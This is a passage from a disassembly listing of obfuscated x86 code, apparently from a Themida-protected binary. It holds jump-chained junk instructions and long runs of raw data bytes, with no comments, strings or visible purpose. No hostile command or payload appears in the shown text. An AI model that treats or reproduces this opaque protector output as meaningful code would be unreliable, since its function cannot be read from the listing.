eax, 3A8C0D2Ah push esi mov esi, 6E062A57h shr esi, 6 add esi, 38D3F485h jmp loc_555FFD ; --------------------------------------------------------------------------- dd 4BD55h, 0E8290000h, 2ED9E9h db 0 ; --------------------------------------------------------------------------- loc_55E029: ; CODE XREF: Themida_:00561A4Bj add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_56307D ; --------------------------------------------------------------------------- db 5Eh dd 114F685Eh, 3C890000h, 2474FF24h, 48F5F04h, 34895C24h dd 87A9E924h, 0E95CFFFFh, 0FFFF4BD8h, 4C5815Dh, 0E9000000h dd 8EEh, 0B951h, 0D1290000h, 1EE9CA89h, 89000096h, 0AB68241Ch dd 8B270770h, 0C481241Ch, 4, 4C29EB81h, 8153F455h, 678C2434h dd 81590AB9h, 0B9678CF1h, 2EE95B0Ah db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0A7: ; CODE XREF: Themida_:005575B2j mov [esp], ebx push dword ptr [esp] jmp loc_5573F4 ; --------------------------------------------------------------------------- dw 0C89h dd 2414F724h, 0FFA7BFE9h, 58C631FFh, 348BF101h, 9896E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0CA: ; CODE XREF: Themida_:00553E8Cj xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_561BD7 ; --------------------------------------------------------------------------- dd 225CE581h, 12E923C9h, 81FFFFFBh, 10779EDh, 0B2ED8148h dd 8157C540h, 0F1402EDh, 6ED8137h, 0E986D3B5h, 0FFFF7519h dd 18B4BB53h, 0F7E927C3h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E10B: ; CODE XREF: Themida_:005612F3j pop esp or eax, eax jnz loc_56416B push 1372h mov [esp], esi jmp loc_558C12 ; --------------------------------------------------------------------------- db 81h, 0EAh, 3Fh dd 81113742h, 37695FEAh, 0E9EA0148h, 766Dh, 0C307E950h dd 0EC81FFFFh, 4, 0BA241489h, 5C9B0317h, 37685153h, 8B6BA466h dd 8953240Ch, 4B850E3h, 0E9000000h, 6129h, 81240C8Bh, 4C4h dd 24048B00h, 4C481h, 0BA520000h, 2, 875AD701h, 248B243Ch dd 9D44E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E186: ; CODE XREF: Themida_:00561F55j xor ecx, esi xor esi, ecx xor ecx, esi pop esi jmp loc_56063F ; --------------------------------------------------------------------------- dw 0C381h dd 685946C2h, 0EB81CB01h, 685946C2h, 0F7C38159h, 137F178h dd 0BBF57C3h, 8116F350h, 6D4212C7h, 6EFC10Eh, 0C781D7F7h dd 3886FB40h, 0E95FFB29h, 632Bh, 8BFA015Ah, 0C483243Ch dd 0A4E95204h, 43000011h, 8104E3C1h, 0C0B374F3h, 0E9DF0111h dd 3609h, 4244481h, 18642E31h, 1C16E9h, 4C48100h, 0E9000000h dd 0FFFFA705h ; --------------------------------------------------------------------------- loc_55E200: ; CODE XREF: Themida_:00553EE8j pop ebx sub edi, 1DD251B2h jmp loc_56678C ; --------------------------------------------------------------------------- dd 0ABE9AF04h, 81000027h, 686726C5h, 0F7D5F75Eh, 53D5F7D5h dd 26CCE9h, 20E95B00h, 5F000089h, 2254502Dh, 29685105h dd 8B7FA170h, 0E950240Ch, 0FFFF6689h, 5C518DBDh, 0E9EA2923h dd 0FFFFC816h, 0BB241C89h, 447C1AF1h, 0FE3EBE2Dh, 5D80151h dd 51FE3EBEh, 0C158925Bh, 0DEE902EAh, 89FFFFD6h, 4812424h dd 424h, 0BD555B00h, 627D1D76h, 0FFDFE1E9h, 0C98141FFh dd 46C33774h, 0E981D9F7h, 81B09486h, 8159CA89h, 0BFE72EC2h dd 5AD60918h, 2414F756h, 8E9535Eh db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E2A7: ; CODE XREF: Themida_:0055C680j dec esi push 40F9h mov [esp], edi mov edi, 24665B22h jmp loc_554A15 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 248B2404h, 0C8B6624h, 4EC8324h, 552E9h, 4962E900h dd 0C681FFFFh, 19DB68D6h, 9C89E9h db 0 ; --------------------------------------------------------------------------- loc_55E2E1: ; CODE XREF: Themida_:00561F29j push edx mov edx, esp add edx, 4 add edx, 2 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_554F43 ; --------------------------------------------------------------------------- db 51h dd 0D5F6F588h, 245E9h db 0 ; --------------------------------------------------------------------------- loc_55E30D: ; CODE XREF: Themida_:0056328Aj push ebp mov ebp, 732D4943h sub edi, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 43C843E2h jmp loc_562F58 ; --------------------------------------------------------------------------- loc_55E329: ; CODE XREF: Themida_:00558920j shl edx, 1 push ecx push 0CF6h mov [esp], ebp push 5BA729B2h mov ebp, [esp] jmp loc_55ED6F ; --------------------------------------------------------------------------- loc_55E341: ; CODE XREF: Themida_:00556110j push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] pop eax jmp loc_558110 ; --------------------------------------------------------------------------- dw 0EB00h dd 80A2EB80h, 0F5968EBh, 8B66C0B6h, 68532414h, 60BBh, 0A6E8E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E372: ; CODE XREF: Themida_:0055AC86j mov edi, 79FB1F1Ah jmp loc_55AD29 ; --------------------------------------------------------------------------- dd 0E9028F66h, 0FFFF48B4h ; --------------------------------------------------------------------------- loc_55E384: ; CODE XREF: Themida_:005551E6j add ebp, ebx jmp loc_55E8AB ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 0C483243Ch, 0D919E904h, 2C8BFFFFh, 4C48124h dd 29000000h, 34335FFEh, 24343124h, 0E9243433h, 0FFFF4908h dd 280FE980h, 0C0FE59C8h, 9234982Ch, 458C128h, 0B0B25256h dd 0C280CAFEh, 4EAC000h, 8057CA80h, 0EC833EC2h, 24048904h dd 0C480A4B4h, 37C48011h, 0C0E3CC80h, 0EC8008E4h, 58E200F9h dd 0FFFE17E9h, 242C8BFFh, 8104C483h, 5733DAEDh, 56F52919h dd 252FF1BEh, 3EEC135h, 64A5BF57h, 0CF8136CFh, 6558259Ah dd 8104E7C1h, 2F0B78E7h, 81DFF734h, 0E1E48C7h, 5FFE099Eh dd 7D41CE81h, 0BD55285Bh, 10244320h, 0F75DEE21h, 5F681D6h dd 1E68C8Fh, 0B2A8E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E44A: ; CODE XREF: Themida_:0055F233j mov ebp, 1B81CFDEh add edx, ebp jmp loc_5538F0 ; --------------------------------------------------------------------------- dw 0F66h dd 776800B6h, 89000011h, 0EC81243Ch, 4, 24048F54h, 4240481h dd 8B000000h, 0C481243Ch, 4, 4C781h, 0F9680000h, 0E900003Eh dd 0FFFFCA60h, 3B85C281h, 0B1E9F7BFh db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E497: ; CODE XREF: Themida_:00564A09j sub esi, 3E325D47h add esi, eax add esi, 3E325D47h sub esi, 403643ECh sub esi, 63610382h jmp loc_55AFC8 ; --------------------------------------------------------------------------- dw 0C789h dd 0FFC37FE9h, 405FFh, 4050000h, 0E9000000h, 5E89h, 4A97C581h dd 5F5B3BE1h, 2D5DE829h, 7C2A001Fh, 57E2BF57h, 0E947097Ah dd 0FFFFCA21h, 4246C01h, 19D6E9h, 24248900h, 4240483h dd 0FF61ACE9h, 24048BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h dd 6AE92414h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E517: ; CODE XREF: Themida_:0055AD4Aj push 0C78h mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 jmp loc_558B03 ; --------------------------------------------------------------------------- dw 4B9h dd 8116A552h, 0FFFFFFE9h, 0F18149FFh, 14F9119Dh, 8159CE21h dd 0EC7D39F6h, 0D261E925h, 0EE88FFFFh, 0D0C68059h, 84D0E9h dd 17E95500h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E563: ; CODE XREF: Themida_:0055CD5Dj push 6D5A2F1Fh pop ecx sub ecx, 6D5A2B23h jmp loc_5674B3 ; --------------------------------------------------------------------------- aZsai db 'Zéai',0 align 2 dw 8956h dd 4C681E6h, 52000000h, 7E3C87BAh, 0C1DAF727h, 0E3E908E2h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E593: ; CODE XREF: Themida_:00563E32j sub ecx, 786A3F7Eh push 4F0Ah mov [esp], eax mov eax, 1EE83CFFh sub ecx, eax pop eax jmp loc_565FB5 ; --------------------------------------------------------------------------- dw 0EB81h dd 52A468F0h, 538E959h, 895C0000h, 6F682404h, 89000016h dd 4832424h, 34FF0424h, 24048B24h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 505C243Ch, 2434FF54h, 1AE95558h, 81FFFF92h dd 4C2h, 0E1895100h, 4C181h, 0B8E90000h, 89000015h, 45AE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E60A: ; CODE XREF: Themida_:005653B9j not ecx add ecx, 0A3B48E97h jmp loc_565D63 ; --------------------------------------------------------------------------- db 0BFh dd 0D0E9844Bh, 6AE9FA31h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E623: ; CODE XREF: Themida_:005583EDj mov edi, 4 jmp loc_564118 ; --------------------------------------------------------------------------- db 1, 0E8h, 8Bh dd 0DEE9242Ch, 29FFFFDCh, 148B5FF9h, 4C48124h, 0E9000000h dd 4CE1h, 2904C483h, 426859CEh, 89000064h, 1EBE2434h, 0C14ED803h dd 0D68707EEh, 242C8752h, 33E9D5F7h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E66B: ; CODE XREF: Themida_:0056109Dj push ecx mov cl, 0DFh neg cl xor cl, 9 add cl, 0DAh xor dl, cl pop ecx add bl, dl mov edx, [esp] jmp loc_55695F ; --------------------------------------------------------------------------- db 81h dd 1004246Ch, 0E93B1729h, 0FFFFADC8h ; --------------------------------------------------------------------------- loc_55E690: ; CODE XREF: Themida_:0055A2CFj mov edi, 60E91819h sub edi, 60E91815h add ebx, 3CB5FA6h add ebx, 470B2750h add ebx, edi jmp loc_564F58 ; --------------------------------------------------------------------------- loc_55E6AE: ; CODE XREF: Themida_:00558B0Bj shl edx, 1 push edx mov edx, 52617AF9h add edx, 141E7BDAh push ecx jmp loc_555FE0 ; --------------------------------------------------------------------------- dw 0BEh dd 29000000h, 0F4D0E9CEh, 48FFFFFh, 1C895C24h, 81E38924h dd 4C3h, 7DB95100h, 4927C03Bh, 0FFDDCFE9h, 405FFh, 6E90000h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E6F3: ; CODE XREF: Themida_:00553FB1j mov [esp], cx sub esp, 4 mov [esp], eax mov al, 0A3h jmp loc_566DA5 ; --------------------------------------------------------------------------- dd 7F685356h, 89000027h, 88BA2414h, 816C4367h, 0EB01CFE2h dd 70EA8116h, 89BDEDC6h, 0E9535AD3h, 0FFFFCCBAh, 71A1E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E72E: ; CODE XREF: Themida_:005678DBj dec ebp sub ebp, 2BC2453Ah mov edx, ebp mov ebp, [esp] add esp, 4 dec edx dec edx sub edx, 180F0264h push esi sub esp, 4 jmp loc_558E3E ; --------------------------------------------------------------------------- dd 6C4EF781h, 0C58121BDh, 3D395F17h, 0EC83FD01h, 241C8904h dd 0B60077BBh, 7DE94362h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E773: ; CODE XREF: Themida_:00557B34j mov [esp], esi push 0BD7h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_560E18 ; --------------------------------------------------------------------------- db 5Fh, 89h, 0D1h dd 8BCA015Ah, 0C481240Ch, 4, 0BF7C281h, 5CE91390h, 56000083h dd 0E951E689h, 0FFFF7344h, 5AD6315Dh, 348BF309h, 4C48124h dd 81000000h, 0BF1739CBh, 29EB8173h, 14ACFACh, 7C08E9D8h dd 34FFFFFFh, 24048B24h, 0E904C483h, 0FFFFA2AFh, 196394BBh dd 5E3C14Fh, 817BE956h, 525E0000h, 0C719F9BAh, 7E2C125h dd 8104E2C1h, 0D39B5CAh, 4FC2812Fh, 29C03006h, 515AE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E80E: ; CODE XREF: Themida_:0055B667j sub ebx, edi pop edi pop edi sub ebx, 4 jmp loc_557B2E ; --------------------------------------------------------------------------- loc_55E81A: ; CODE XREF: Themida_:0055486Cj pop ebx sub al, ch pop ecx jmp loc_565C1A ; --------------------------------------------------------------------------- db 89h dd 8B542434h, 0EC812434h, 4, 89243C89h, 52E7E9E7h, 48BEFFFFh dd 0E9287C64h, 0FFFFD199h, 0FA79C581h, 0E8894F86h, 0E957555Dh dd 18C9h, 0F705E3C1h, 0EC61E9DBh, 5559FFFFh, 40685D54h dd 0E9000015h, 0FFFFAB33h, 81DEF759h, 765BBAEEh, 5EF20112h dd 815AD131h, 0EF64A4E9h, 8E9C11Dh, 7676E981h, 0F1810908h dd 0B6775321h, 8904EC83h, 96BE2434h, 0F778D575h, 0BFEE81D6h dd 1C890EAh, 30E95EF1h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E8AB: ; CODE XREF: Themida_:0055E386j pop ebx sub edx, ebp pop ebp jmp loc_552C38 ; --------------------------------------------------------------------------- dd 405E089h, 5000000h, 4, 31240433h, 4332404h, 24248B24h dd 515AD331h, 0C181E189h, 4, 8704E983h, 895C240Ch, 2CE92404h dd 0F6000087h, 0AF780D7h, 0B4E9F800h, 87FFFFECh, 0F75C2414h dd 0E1C7E9DAh, 35E9FFFFh, 0B9FFFF43h, 6D5B2BE6h, 6F38C281h dd 0CA2901ACh, 5F65B951h, 0D1F777CCh, 0E1C1D9F7h, 38F18107h dd 29E783DCh, 15959CAh, 86D0E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E92E: ; CODE XREF: Themida_:005627F1j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5657F3 ; --------------------------------------------------------------------------- db 4Bh dd 73FBBA52h, 0EAC13DA9h, 2046E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E94E: ; CODE XREF: Themida_:00564A17j sub esp, 4 push esp pop dword ptr [esp] jmp loc_555015 ; --------------------------------------------------------------------------- dw 0ED83h dd 242C8704h, 240C895Ch, 240C8B54h, 8104C483h, 4C1h, 1BB85000h dd 0D400902h, 4F054DE7h, 0D0F7D8F7h, 0BD6F5C05h, 4424054Bh dd 740D6F6Ah, 0E9765B24h, 0FFFF7996h, 0FF429FE9h, 243C8BFFh dd 8104C483h, 5B4E59E2h, 9EF2814Bh, 8114DF54h, 0CC56CBF2h dd 8BB9511Fh, 0E943E208h, 6773h, 45BD988h, 2CC800C3h, 0C38859C3h dd 3EB16858h, 4890000h, 0CDB424h, 0EB8058E3h, 81E3D001h dd 4ECh, 24148900h, 0EB8059B2h, 0E9D300CAh, 0FFFFBC81h ; --------------------------------------------------------------------------- loc_55E9F0: ; CODE XREF: Themida_:0055FF37j push dword ptr [esp] pop esi add esp, 4 jmp loc_563CC6 ; --------------------------------------------------------------------------- loc_55E9FF: ; CODE XREF: Themida_:00563165j pop esi shl edx, 7 and edx, 1C305325h add edx, 1A0A0402h jmp loc_5641CA ; --------------------------------------------------------------------------- dd 490CE981h, 875E601Ch, 835C240Ch, 3C8904ECh, 1BD36824h dd 8F540000h, 4812404h, 424h, 0A4E95F00h, 51000011h, 729D4B9h dd 0E9CE29EAh, 762Fh, 5C240C87h, 0AEEE9h, 1C895C00h, 7C7E6824h dd 0F75B4A00h, 0E95155D3h, 0FFFF76C3h, 0BF57565Fh, 1F027EC1h dd 0A387C781h, 0FE89F548h, 8222E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA7A: ; CODE XREF: Themida_:0055484Fj add ecx, 4 push 4BA5h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push ecx push 1249h jmp loc_564F69 ; --------------------------------------------------------------------------- dw 0C14Ah dd 835108EAh, 3C8904ECh, 64BD5524h, 0BF24BE7Ch, 0AD3B5976h dd 0FFDD84E9h, 4C481FFh, 33000000h, 3C31243Ch, 243C3324h dd 8924248Bh, 0EC832424h, 5FE8E904h, 0E95FFFFFh, 40C8h dd 525052ACh, 0F68072B6h, 5AF4888Ch, 88E18851h, 4F17E9CAh dd 1C87FFFFh, 0B89AE924h, 8B66FFFFh, 0CEE92404h, 81FFFFB1h dd 0F950B8C7h, 81D70127h, 0F950B8EFh, 0CF815A27h, 3C297605h dd 0E7C1D7F7h, 7EBD5507h, 4540B73Ah, 5584BB53h, 0DD092872h dd 71E9565Bh, 89FFFF6Ah, 21E9241Ch, 5CFFFFDDh, 0FF5B01E9h dd 64F480FFh, 0F480C4FEh, 58E630CAh, 88F58851h, 2E959EFh dd 81FFFF83h, 0F20E51E6h, 7DECE942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB62: ; CODE XREF: Themida_:0055B53Ej pop ecx push eax jmp loc_553D60 ; --------------------------------------------------------------------------- db 89h, 0DAh, 8Bh dd 0C481241Ch, 4, 0FF60B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB79: ; CODE XREF: Themida_:0056434Aj mov [esp], edx jmp loc_559558 ; --------------------------------------------------------------------------- db 81h, 0C5h, 8 dd 4535CA29h, 0B5E9D5F7h, 28FFFF79h, 0B75352F9h, 40B6FBh dd 0F1005BFEh, 2434FF5Ah, 4C4835Bh, 0FF9899E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBA9: ; CODE XREF: Themida_:00555938j xor esi, 4CC94708h sub ebx, esi pop esi jmp loc_563A9D ; --------------------------------------------------------------------------- db 0BBh dd 5018733Bh, 5B5BD829h, 8904EC83h, 0CC682434h, 8B7A79D4h dd 0F0682434h, 89000056h, 0E389241Ch, 1753E9h, 5F00100h dd 2C307354h, 275AE9h, 289CB000h, 805866C3h, 96E903C3h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBF7: ; CODE XREF: Themida_:00564878j xor ebx, 507B0B9Ah jmp loc_5592BE ; --------------------------------------------------------------------------- dw 5A54h dd 4C281h, 0C2830000h, 24148704h, 0F7D1F75Ch, 92E952D9h dd 66FFFFDBh, 5724048Bh, 0EC83E789h, 242C8904h, 4BDh, 8BEF0100h dd 0C481242Ch, 4, 4EF81h, 3C870000h, 34895C24h, 348B5424h dd 4C48124h, 57000000h, 0BE56E789h, 263E79B6h, 0F681D6F7h dd 343364B5h, 5D3DE9h, 24148700h, 0E9E6E95Ch, 8958FFFFh dd 241C8BDFh, 8104C483h, 272633F7h, 8BFE0118h, 0EC83243Ch dd 0C747E904h, 0C33FFFFh, 97E95C24h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC93: ; CODE XREF: Themida_:00558861j sub esi, ebp pop ebp and eax, esi mov esi, [esp] add esp, 4 jmp loc_567B6A ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 51242C89h, 0C181E189h, 4, 73ACE9h, 875C8800h, 34FF5B01h dd 70685924h, 89000042h, 0E2892414h, 0FFCF56E9h, 242C89FFh dd 48CA68h, 24248900h, 4240481h, 8B000000h, 0C483242Ch dd 4EAD6804h, 0C890000h, 4A43B924h, 0E1C10A76h, 3E1C102h dd 485CE981h, 0CD014EC9h, 0E9240C8Bh, 5810h, 0E2815892h dd 7750464Eh, 0FFD837E9h, 0DA8852FFh, 0E9D58851h, 0FFFF4E7Eh dd 8B24048Fh, 0C80F2424h, 124668h, 24048900h, 0FF3EFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED3D: ; CODE XREF: Themida_:00566D57j push 13CBh mov [esp], edi jmp loc_5647AB ; --------------------------------------------------------------------------- dw 8966h dd 29665DE9h, 665966CEh, 2005665Fh, 0F001665Bh, 0FFE797E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED61: ; CODE XREF: Themida_:0055F733j pop ebx jmp loc_553758 ; --------------------------------------------------------------------------- db 29h dd 0FEE95AD0h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ED6F: ; CODE XREF: Themida_:0055E33Cj add esp, 4 push ebx push 203E519Eh mov ebx, [esp] add esp, 4 add ebx, 2CF1AF7h jmp loc_55F66F ; --------------------------------------------------------------------------- dd 4C481h, 6D680000h, 8900006Ah, 4BBB241Ch, 10A0642h, 241C8BDAh dd 8104C483h, 155C82EAh, 81CA015Fh, 155C82C2h, 0B3BF575Fh dd 57764C47h, 0E92414F7h, 0FFFFBA15h, 0D106E6C1h, 130D68EEh dd 1C890000h, 542FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDD6: ; CODE XREF: Themida_:0055CADBj pop ax add bl, 0C9h jmp loc_5653E3 ; --------------------------------------------------------------------------- aSusu2 db 'SUéî2',0 dw 8300h dd 148904ECh, 4A2EBA24h, 81423402h, 9676B8E2h, 4B684A30h dd 89000001h, 21BE2434h, 0E9673A28h, 58D5h, 582434FFh dd 904EE9h, 0EDC15E00h, 0E2B85003h, 0F751B739h, 4D0425D8h dd 0E52D0074h, 57782C05h, 3BF0E9h, 240C8B00h, 4C481h, 68510000h dd 37Fh, 0FB7E9h, 5DE28100h, 0D14F975Ah, 0C4E957E2h, 89FFFFF7h dd 4BD242Ch, 81000000h, 8129AC2h, 81EA0170h, 8129AEAh dd 0BE95D70h, 8100008Fh, 4ECh, 24148900h, 4BAh, 5AD50100h dd 2474FF55h, 345DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE8A: ; CODE XREF: Themida_:00554087j xor eax, [esp] xor [esp], eax push eax push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] push edx push edi jmp loc_557147 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 3124248Bh, 0E99C2404h, 0FFFF3D80h, 24048B66h, 56CB68h dd 24048900h, 510AE9h db 0 ; --------------------------------------------------------------------------- loc_55EEC9: ; CODE XREF: Themida_:00565F05j mov ecx, 312C3A4Eh add ecx, 0FFFFFFFFh shr ecx, 6 neg ecx shr ecx, 7 jmp loc_5590BB ; --------------------------------------------------------------------------- db 1, 2 dup(0E9h) dd 0FFFFCC1Bh ; --------------------------------------------------------------------------- loc_55EEE8: ; CODE XREF: Themida_:0055649Bj xor esi, 6E8551D3h jmp loc_55DF23 ; --------------------------------------------------------------------------- db 0BDh dd 25433962h, 30DE9h db 0 ; --------------------------------------------------------------------------- loc_55EEFD: ; CODE XREF: Themida_:0055A70Dj push ecx mov ecx, 7B5B6C02h not ecx push esi mov esi, 0 sub esi, 77D62B8h sub esi, ecx jmp loc_561F4F ; --------------------------------------------------------------------------- dd 5C24048Fh, 9C2404D3h, 0FF3D13E9h, 68D2F7FFh, 545h, 51242C89h dd 60896852h, 0E95A49B3h, 0FFFF9712h, 68h, 243C2900h, 6E7C15Fh dd 39EAEF81h, 8157A986h, 93242Ch, 0EAE92A6Fh db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF5B: ; CODE XREF: Themida_:00562CF9j mov edx, ebx pop ebx add edx, 608A67A1h jmp loc_55AD4F ; --------------------------------------------------------------------------- db 0ACh, 30h, 0D8h dd 5E08950h, 4, 42Dh, 24048700h, 243C895Ch, 68CC68h, 24248900h dd 4240481h, 0E9000000h, 0FFFFADA9h, 92BE565Dh, 9791352h dd 0FE73E9F5h, 248BFFFFh, 4B95124h, 0E9000000h, 0FFFFB5CFh dd 5C24048Fh, 50242C89h, 405E089h, 83000000h, 43304E8h dd 24043124h, 5C240433h, 0E9241C89h, 8B47h, 0D9CBA52h dd 0BE566891h, 2DFD5451h, 6FB7EE81h, 0DEF74EF5h, 0FF5049E9h dd 3E1C1FFh, 4583BF57h, 0E7C11C10h, 4EFC105h, 20ACC781h dd 0E8E950FFh, 81000012h, 0ED231BCAh, 0EA814A23h, 0D53A8E38h dd 0FFDD49E9h, 34335FFFh, 61B4E924h, 0C3810000h, 323D2CE5h dd 6AD0E9h, 0C5815A00h, 6EDA18E9h, 2651C581h, 0EB29A1BAh dd 4EC815Dh, 89000000h, 0EAE9240Ch db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F04B: ; CODE XREF: Themida_:005640C5j mov ebx, 616D60AAh shr ebx, 4 sub ebx, 7F0439Eh sub ebx, 4D734036h jmp loc_561377 ; --------------------------------------------------------------------------- dd 0F6C18141h, 811DF0F7h, 6C2355EBh, 81CB016Ch, 6C2355C3h dd 0FB01596Ch, 3BEB81h, 0C3813A12h, 3B054D01h, 4EC815Fh dd 89000000h, 74FF241Ch, 8F5B0424h, 0D25C2404h, 0E99C2404h dd 0FFFF3B94h, 5F93685Dh, 0C890000h, 4BA5224h, 89000000h dd 0C3815AD1h, 52A468F0h, 0EBE9CB01h, 8BFFFFF4h, 0C483240Ch dd 48C7E904h, 0D6010000h, 8324148Bh, 348704C4h, 24248B24h dd 0B60FC330h, 5DF9E9C0h, 0C483FFFFh, 1DEFE904h, 0E9550000h dd 0FFFFCC10h ; --------------------------------------------------------------------------- loc_55F0F4: ; CODE XREF: Themida_:00561D08j pop edx jmp loc_564CD2 ; --------------------------------------------------------------------------- loc_55F0FA: ; CODE XREF: Themida_:0056356Aj xor ebx, 5F6233D6h sub ebx, 7FDB1183h add ebx, 2A26CD0Eh sub ebp, ebx pop ebx add ebp, ebx add ebp, 181706F2h push dword ptr [esp] pop ebx jmp loc_555141 ; --------------------------------------------------------------------------- dd 245C2959h, 34FF5B04h, 0C4835824h, 0F5D2E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F132: ; CODE XREF: Themida_:005566B5j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_567F40 ; --------------------------------------------------------------------------- db 29h dd 54C381F3h, 5E5ED231h, 1E4DEF81h, 0DF297348h, 3A9EE9h db 0 ; --------------------------------------------------------------------------- loc_55F161: ; CODE XREF: Themida_:0055ACD9j mov [esp], edx mov edx, 2201DB1h or edx, 7DBC70B3h jmp loc_5570E9 ; --------------------------------------------------------------------------- dd 77C181h, 0E981398Bh, 5AC3701Eh, 0FFD837E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F185: ; CODE XREF: Themida_:0055C5C6j xchg ecx, [esp] pop esp add edx, 32754996h add edx, ebp sub edx, 32754996h pop ebp jmp loc_55BC3C ; --------------------------------------------------------------------------- loc_55F19D: ; CODE XREF: Themida_:0055F368j pop ecx sub esp, 4 mov [esp], edi push ecx mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push edi mov edi, esp sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_5611F8 ; --------------------------------------------------------------------------- db 89h dd 0B0E9240Ch, 0F7FFFF69h, 0BF5746D6h, 0FFFFFFFFh, 815FFE29h dd 0D03FCCCEh, 384DE97Bh, 0CD810000h, 1AA7382Bh, 5DC568h dd 5DD0E900h, 1EB80000h, 0C131120Ah, 8DE904E0h, 81000058h dd 0CA175FEAh, 83FFE96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F232: ; CODE XREF: Themida_:0055B33Bj push ebp jmp loc_55E44A ; --------------------------------------------------------------------------- dd 2E5C159h, 0F581D5F7h, 65B06DCh, 60F5814Dh, 0E94E3BCCh dd 8C3Bh ; --------------------------------------------------------------------------- loc_55F250: ; CODE XREF: Themida_:005543E0j and bh, 92h sub bh, 1 sub bh, 83h jmp loc_5564C3 ; --------------------------------------------------------------------------- dw 3D05h dd 2D327C18h, 244906F9h, 8324348Bh, 0E36804C4h, 89000023h dd 8EB9240Ch, 0E951DA73h, 0FFFFA31Fh ; --------------------------------------------------------------------------- loc_55F280: ; CODE XREF: Themida_:0055ADB8j push ebx push 36A3h mov [esp], esp add dword ptr [esp], 4 pop ebx push edi jmp loc_556F58 ; --------------------------------------------------------------------------- dd 7906EE81h, 0D6011B97h, 7906C681h, 0C6811B97h, 2B846026h dd 4EC835Ah, 81241C89h, 4ECh, 242C8900h, 268h, 673AE900h dd 0E7890000h, 4C781h, 0C7830000h, 243C8704h, 5224248Bh dd 6A2CE954h, 0F229FFFFh, 2434FF5Eh, 4C4835Eh, 0FFD7D2E9h dd 0BD555BFFh, 327A7A92h, 0FF5491E9h, 1C77FFFFh, 6659669Dh dd 9C2414D3h, 0FF3933E9h, 242C89FFh, 0CD33B3BDh, 4EC812Ah dd 89000000h, 0E989240Ch, 0C8BCB89h, 4C48324h, 5D2434FFh dd 4C481h, 6CE90000h, 8900003Ah, 4EC81E1h, 89000000h, 4BB241Ch dd 52000000h, 0F9123ABAh, 5AD10175h, 61BEBE56h, 0EE813817h dd 69205A1Ch, 0CE81D6F7h, 57436389h, 0E906EEC1h, 0FFFF9FCAh ; --------------------------------------------------------------------------- loc_55F364: ; CODE XREF: Themida_:0055C486j push ecx not dword ptr [esp] jmp loc_55F19D ; --------------------------------------------------------------------------- db 5Dh, 87h, 4 dd 4215C24h, 9DE99C24h, 0FFFFFFADh, 5A042474h, 0FF9FBFE9h dd 1B2D68FFh, 0EAE90000h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F38F: ; CODE XREF: Themida_:00553753j mov [esp], edx mov dh, 7Ah inc dh sub dh, 0E7h jmp loc_55AEB6 ; --------------------------------------------------------------------------- dw 159h dd 0DF8E9EAh, 815E0000h, 4C6h, 4BF5700h, 29000000h, 0FF565FFEh dd 